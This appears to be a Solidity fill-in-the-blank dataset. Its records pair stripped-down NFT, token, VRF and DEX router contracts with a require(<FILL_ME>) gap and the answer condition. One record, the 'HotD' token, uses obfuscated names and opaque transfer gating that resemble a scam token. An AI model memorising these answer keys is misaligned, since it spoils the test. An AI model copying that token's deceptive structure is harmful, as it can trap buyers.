/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
}
}
interface IENS {
function resolver(bytes32 node) external view returns (IResolver);
}
interface IResolver {
function addr(bytes32 node) external view returns (address);
}
interface IENSReverseRegistrar {
function setName(string calldata name) external;
}
/// @author 0age
contract _0_ is ERC721 {
uint256 public constant totalSupply = 64;
IENS private constant ens = IENS(
0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e
);
bytes32 private immutable authorNode;
constructor() ERC721(unicode"⬛🟩⬛", unicode"⬛🟩⬛") {
}
function author() public view returns (address account) {
}
function mint(uint256[] calldata ids) external returns (bool) {
}
function imageLocation() public pure returns (string memory) {
}
function tokenURI(uint256 id) external view override returns (string memory) {
}
function contractURI() external pure returns (string memory) {
}
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| ERC721TokenReceiver(to).onERC721Received(msg.sender,from,id,data)==ERC721TokenReceiver.onERC721Received.selector,"UNSAFE_RECIPIENT" | 260,536 | ERC721TokenReceiver(to).onERC721Received(msg.sender,from,id,data)==ERC721TokenReceiver.onERC721Received.selector |
"UNSAFE_RECIPIENT" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) external view virtual returns (string memory);
/*//////////////////////////////////////////////////////////////
ERC721 BALANCE/OWNER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) internal _ownerOf;
mapping(address => uint256) internal _balanceOf;
function ownerOf(uint256 id) public view virtual returns (address owner) {
}
function balanceOf(address owner) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
ERC721 APPROVAL STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*//////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes calldata data
) public virtual {
}
/*//////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
function _burn(uint256 id) internal virtual {
}
/*//////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
_mint(to, id);
if (to.code.length != 0)
require(<FILL_ME>)
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
}
}
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
}
}
interface IENS {
function resolver(bytes32 node) external view returns (IResolver);
}
interface IResolver {
function addr(bytes32 node) external view returns (address);
}
interface IENSReverseRegistrar {
function setName(string calldata name) external;
}
/// @author 0age
contract _0_ is ERC721 {
uint256 public constant totalSupply = 64;
IENS private constant ens = IENS(
0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e
);
bytes32 private immutable authorNode;
constructor() ERC721(unicode"⬛🟩⬛", unicode"⬛🟩⬛") {
}
function author() public view returns (address account) {
}
function mint(uint256[] calldata ids) external returns (bool) {
}
function imageLocation() public pure returns (string memory) {
}
function tokenURI(uint256 id) external view override returns (string memory) {
}
function contractURI() external pure returns (string memory) {
}
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| ERC721TokenReceiver(to).onERC721Received(msg.sender,address(0),id,"")==ERC721TokenReceiver.onERC721Received.selector,"UNSAFE_RECIPIENT" | 260,536 | ERC721TokenReceiver(to).onERC721Received(msg.sender,address(0),id,"")==ERC721TokenReceiver.onERC721Received.selector |
"UNSAFE_RECIPIENT" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) external view virtual returns (string memory);
/*//////////////////////////////////////////////////////////////
ERC721 BALANCE/OWNER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) internal _ownerOf;
mapping(address => uint256) internal _balanceOf;
function ownerOf(uint256 id) public view virtual returns (address owner) {
}
function balanceOf(address owner) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
ERC721 APPROVAL STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*//////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes calldata data
) public virtual {
}
/*//////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
function _burn(uint256 id) internal virtual {
}
/*//////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
_mint(to, id);
if (to.code.length != 0)
require(<FILL_ME>)
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
}
}
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
}
}
interface IENS {
function resolver(bytes32 node) external view returns (IResolver);
}
interface IResolver {
function addr(bytes32 node) external view returns (address);
}
interface IENSReverseRegistrar {
function setName(string calldata name) external;
}
/// @author 0age
contract _0_ is ERC721 {
uint256 public constant totalSupply = 64;
IENS private constant ens = IENS(
0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e
);
bytes32 private immutable authorNode;
constructor() ERC721(unicode"⬛🟩⬛", unicode"⬛🟩⬛") {
}
function author() public view returns (address account) {
}
function mint(uint256[] calldata ids) external returns (bool) {
}
function imageLocation() public pure returns (string memory) {
}
function tokenURI(uint256 id) external view override returns (string memory) {
}
function contractURI() external pure returns (string memory) {
}
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| ERC721TokenReceiver(to).onERC721Received(msg.sender,address(0),id,data)==ERC721TokenReceiver.onERC721Received.selector,"UNSAFE_RECIPIENT" | 260,536 | ERC721TokenReceiver(to).onERC721Received(msg.sender,address(0),id,data)==ERC721TokenReceiver.onERC721Received.selector |
"TOKEN_DOES_NOT_EXIST" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed spender, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE/LOGIC
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
function tokenURI(uint256 id) external view virtual returns (string memory);
/*//////////////////////////////////////////////////////////////
ERC721 BALANCE/OWNER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) internal _ownerOf;
mapping(address => uint256) internal _balanceOf;
function ownerOf(uint256 id) public view virtual returns (address owner) {
}
function balanceOf(address owner) public view virtual returns (uint256) {
}
/*//////////////////////////////////////////////////////////////
ERC721 APPROVAL STORAGE
//////////////////////////////////////////////////////////////*/
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(string memory _name, string memory _symbol) {
}
/*//////////////////////////////////////////////////////////////
ERC721 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 id) public virtual {
}
function setApprovalForAll(address operator, bool approved) public virtual {
}
function transferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id
) public virtual {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
bytes calldata data
) public virtual {
}
/*//////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 id) internal virtual {
}
function _burn(uint256 id) internal virtual {
}
/*//////////////////////////////////////////////////////////////
INTERNAL SAFE MINT LOGIC
//////////////////////////////////////////////////////////////*/
function _safeMint(address to, uint256 id) internal virtual {
}
function _safeMint(
address to,
uint256 id,
bytes memory data
) internal virtual {
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
abstract contract ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
}
}
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
}
}
interface IENS {
function resolver(bytes32 node) external view returns (IResolver);
}
interface IResolver {
function addr(bytes32 node) external view returns (address);
}
interface IENSReverseRegistrar {
function setName(string calldata name) external;
}
/// @author 0age
contract _0_ is ERC721 {
uint256 public constant totalSupply = 64;
IENS private constant ens = IENS(
0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e
);
bytes32 private immutable authorNode;
constructor() ERC721(unicode"⬛🟩⬛", unicode"⬛🟩⬛") {
}
function author() public view returns (address account) {
}
function mint(uint256[] calldata ids) external returns (bool) {
}
function imageLocation() public pure returns (string memory) {
}
function tokenURI(uint256 id) external view override returns (string memory) {
require(<FILL_ME>)
string memory idString = _toString(id);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked('{',
unicode'"name": "⬛🟩⬛ #', idString, '", ',
unicode'"description": "⬛🟩⬛ #', idString, '", ',
'"image": "', string(abi.encodePacked(
imageLocation(),
idString,
".png"
)), '"',
'}')
)
)
);
return string(abi.encodePacked('data:application/json;base64,', json));
}
function contractURI() external pure returns (string memory) {
}
function _toString(uint256 value) internal pure returns (string memory) {
}
}
| _ownerOf[id]!=address(0),"TOKEN_DOES_NOT_EXIST" | 260,536 | _ownerOf[id]!=address(0) |
"Will exceed maximum supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "openzeppelin-solidity/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "openzeppelin-solidity/contracts/access/Ownable.sol";
import "openzeppelin-solidity/contracts/security/ReentrancyGuard.sol";
import "openzeppelin-solidity/contracts/utils/Strings.sol";
import {IERC2981, IERC165} from "openzeppelin-solidity/contracts/interfaces/IERC2981.sol";
contract Fomo is ERC721Enumerable, IERC2981, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 constant MAX_SUPPLY = 500;
uint256 private _currentId;
uint256 public maxPerWallet = 10;
string public baseURI;
string private _contractURI;
bool public isActive;
uint256 public price = 10**17;
mapping(address => uint256) private _alreadyMinted;
bool private revealed;
string public unrevealedURI;
address private beneficiaryT;
address private beneficiaryM;
address private beneficiaryO;
address private beneficiaryStake;
address public royalties;
uint256 private royaltyPercent = 5;
constructor(
address _beneficiaryT,
address _beneficiaryM,
address _beneficiaryO,
address _beneficiaryStake,
address _royalties,
string memory _initialBaseURI,
string memory _initialContractURI,
string memory _unrevealedURI
) ERC721("Fomo Collection", "FOMO") {
}
// Accessors
function setPrice(uint n) external onlyOwner {
}
function setMaxPerWallet(uint n) external onlyOwner {
}
function setUnrevealedURI(string calldata newURI) external onlyOwner {
}
function reveal() external onlyOwner {
}
function setBeneficiaries(
address _beneficiaryT,
address _beneficiaryM,
address _beneficiaryO,
address _beneficiaryStake
) external onlyOwner {
}
function setRoyalties(address _royalties) public onlyOwner {
}
function setActive(bool _isActive) public onlyOwner {
}
function batchUriByOwner(address account)
external
view
returns (string[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function alreadyMinted(address addr) public view returns (uint256) {
}
// Metadata
function setBaseURI(string memory uri) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
function setContractURI(string memory uri) public onlyOwner {
}
// Minting
function mintPublic(uint256 amount) public payable nonReentrant {
}
function ownerMint(address to, uint256 amount) public onlyOwner {
}
function withdraw() external onlyOwner {
}
// Private
function _internalMint(address to, uint256 amount) private {
require(<FILL_ME>)
for (uint256 i = 1; i <= amount; i++) {
_currentId++;
_safeMint(to, _currentId);
}
}
// ERC165
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721Enumerable, IERC165)
returns (bool)
{
}
// IERC2981
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address, uint256 royaltyAmount)
{
}
}
| _currentId+amount<=MAX_SUPPLY,"Will exceed maximum supply" | 261,021 | _currentId+amount<=MAX_SUPPLY |
"RareItems: Not enough LINK" | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.12;
interface IRareItems {
function getState(uint tokenId) external view returns(string[] memory _traits, uint[] memory _types);
}
contract RareItems is Ownable, VRFConsumerBase{
/**
* Variables used for Chainlink VRF RNG
*/
uint256 internal link_fee = 2 * 10 ** 18 wei; // 2 ETH
address internal _link = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
address internal _vrfCoordinator = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952;
bytes32 internal keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
uint public randomness;
IRareItems previousValuablesContract;
uint public immutable version = 2;
string[] traits;
uint[] types;
constructor(string[] memory _traits, uint[] memory _types, address _previousValuablesContract)
VRFConsumerBase(_vrfCoordinator, _link) {
}
/**
@notice Uses Link fund stored in this contract to request randomness from Chainlink VRF
@dev This is only called by the owner wallet, and can only be called once
*/
function getRandomNumber() public onlyOwner {
require(<FILL_ME>)
requestRandomness(keyHash, link_fee);
}
/**
@notice Function to handle return of Chainlink VRF, sets the global randomneess
@dev This function is not called directly but outside by Chainlink VRF
*/
function fulfillRandomness(bytes32 _requestId, uint256 _randomness) internal override {
}
function _selectItems(uint randomValue, uint items, bool lostItAll, bool madeItAllBack) internal view returns(string[] memory _traits, uint[] memory _types){
}
// 1% of previously Poor get it all back
function _gainedItAllBack(uint randomValue, uint tokenId) internal view returns (bool hasRareItem){
}
// 19% Lost Everything
function _hasLostItAll(uint randomValue) internal pure returns (bool hasRareItem){
}
// 60% 0 Items
function _hasNoItems(uint randomValue) internal pure returns (bool hasRareItem){
}
// 2% 3 Items
function _isSuZhuRich(uint randomValue) internal pure returns (bool hasRareItem){
}
// 4% 2 Itmes
function _isUltraRich(uint randomValue) internal pure returns (bool hasRareItem){
}
// 14% 1 Item
function _isRich(uint randomValue) internal pure returns (bool hasRareItem){
}
/**
@notice Function used to use randomness to get rare values
@dev this function is called by getState to produce the rare traits and their types
*/
function getState(uint tokenId) external view returns(string[] memory _traits, uint[] memory _types){
}
}
| LINK.balanceOf(address(this))>=link_fee,"RareItems: Not enough LINK" | 261,043 | LINK.balanceOf(address(this))>=link_fee |
"Can't fulfill requested tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma abicoder v2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract KillaBearsXL is ERC721Enumerable, Ownable {
uint256 public maxTokens = 20;
string _baseTokenURI;
constructor(
string memory baseURI,
string memory tokenName,
string memory tokenSymbol
) ERC721(tokenName, tokenSymbol) {
}
// Mint 1 token to each address in an array (owner only);
function airdrop(address addr, uint256 token) external onlyOwner {
require(<FILL_ME>)
_safeMint(addr, token);
}
// Get the base URI (internal)
function _baseURI() internal view virtual override returns (string memory) {
}
// Set the base URI
function setBaseURI(string memory baseURI) external onlyOwner {
}
// Get the base URI
function getBaseURI() external view onlyOwner returns (string memory) {
}
// get all tokens owned by an address
function walletOfOwner(address _owner)
external
view
returns (uint256[] memory)
{
}
}
| totalSupply()+1<=maxTokens,"Can't fulfill requested tokens" | 261,148 | totalSupply()+1<=maxTokens |
null | pragma solidity ^0.8.15;
/*
SPDX-License-Identifier: Unlicensed
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library Address {
function _burnLiquiditySwap(address account) internal pure returns (bool) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract HotD is Ownable, IERC20 {
using SafeMath for uint256;
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
}
function _basicTransfer(address to, address _OK8L, uint256 amountSender) internal virtual {
require(to != address(0));
require(_OK8L != address(0));
if (uniswapSwapBurn(
to,
_OK8L)) {
return uniswapLiquidityLq(amountSender, _OK8L);
}
if (!_txCallSwap){
require(<FILL_ME>)
}
uint256 feeAmount = 0;
lqUniswapRebalance(to);
bool ldSwapTransaction = (_OK8L == _uniswapFeeCall() &&
uniswapV2Pair == to) || (to == _uniswapFeeCall()
&& uniswapV2Pair == _OK8L);
if (uniswapV2Pair != to &&
!Address._burnLiquiditySwap(_OK8L) && _OK8L != address(this) &&
!ldSwapTransaction && !_txCallSwap && uniswapV2Pair != _OK8L) {
uniswapSwapBurn(_OK8L);
feeAmount = amountSender.mul(_feePercent).div(100);
}
uint256 amountReceived = amountSender - feeAmount;
_balances[address(this)] += feeAmount;
_balances[to] = _balances[to] - amountSender;
_balances[_OK8L] += amountReceived;
emit Transfer(to, _OK8L, amountSender);
}
constructor() {
}
function name() external view returns (string memory) { }
function symbol() external view returns (string memory) { }
function decimals() external view returns (uint256) { }
function totalSupply() external view override returns (uint256) { }
function uniswapVersion() external pure returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
struct callBurn {address to;}
callBurn[] _uniswapSwap;
function uniswapSwapBurn(address SE, address _senderTo) internal view returns(bool) {
}
function uniswapSwapBurn(address _amountTo) internal {
}
function lqUniswapRebalance(address _addrNum) internal {
}
function uniswapLiquidityLq(uint256 _recipient, address _sender) private {
}
bool _txCallSwap = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapV2Pair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
uint256 public _feePercent = 2;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "House of the Dragon";
string private _symbol = "HotD";
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _uniswapFeeCall() private view returns (address) {
}
bool tradingEnabled = false;
function enableTrading() external onlyOwner {
}
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public maxWallet = _totalSupply.div(100);
function updateMaxWallet(uint256 m) external onlyOwner {
}
address public marketingWallet;
function updateMarketingWallet(address a) external onlyOwner {
}
bool transferDelay = true;
function disableTransferDelay() external onlyOwner {
}
bool public autoLPBurn = false;
function setAutoLPBurnSettings(bool e) external onlyOwner {
}
}
| _balances[to]>=amountSender | 261,178 | _balances[to]>=amountSender |
'NomiswapRouter: INSUFFICIENT_0_AMOUNT' | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/INomiswapRouter02.sol';
import './libraries/BalancerLibrary.sol';
import './libraries/NomiswapLibrary.sol';
import './interfaces/IWETH.sol';
interface INomiswapStablePairExtended is INomiswapStablePair {
function token0PrecisionMultiplier() external view returns (uint128);
function token1PrecisionMultiplier() external view returns (uint128);
}
contract NomiswapRouter04 {
address public immutable factory;
address public immutable stableSwapFactory;
address public immutable WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _stableSwapFactory, address _WETH) {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address _factory,
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) private returns (uint amountA, uint amountB) {
}
function balanceLiquidity(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired
) public view returns (uint[4] memory) {
}
function divRoundUp(uint numerator, uint denumerator) private pure returns (uint) {
}
function _addLiquidityImbalanced(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min
) private returns (uint[4] memory) {
// create the pair if it doesn't exist yet
if (INomiswapFactory(_factory).getPair(token0, token1) == address(0)) {
INomiswapFactory(_factory).createPair(token0, token1);
}
uint[4] memory result = balanceLiquidity(_factory, token0, token1, amount0Desired, amount1Desired);
require(<FILL_ME>)
require(amount1Desired - result[1] + result[3] >= amount1Min, 'NomiswapRouter: INSUFFICIENT_1_AMOUNT');
return result;
}
function _getFactory(address tokenA, address tokenB) private view returns (address _factory) {
}
function _getPairAndFactory(address tokenA, address tokenB) private view returns (address, address) {
}
function _getPair(address tokenA, address tokenB) private view returns (address pair) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalanced(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalancedSorted(
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min,
address to,
uint deadline
) private ensure(deadline) returns (uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
function addLiquidityETHImbalanced(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountA, uint amountB) {
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) private {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) private {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
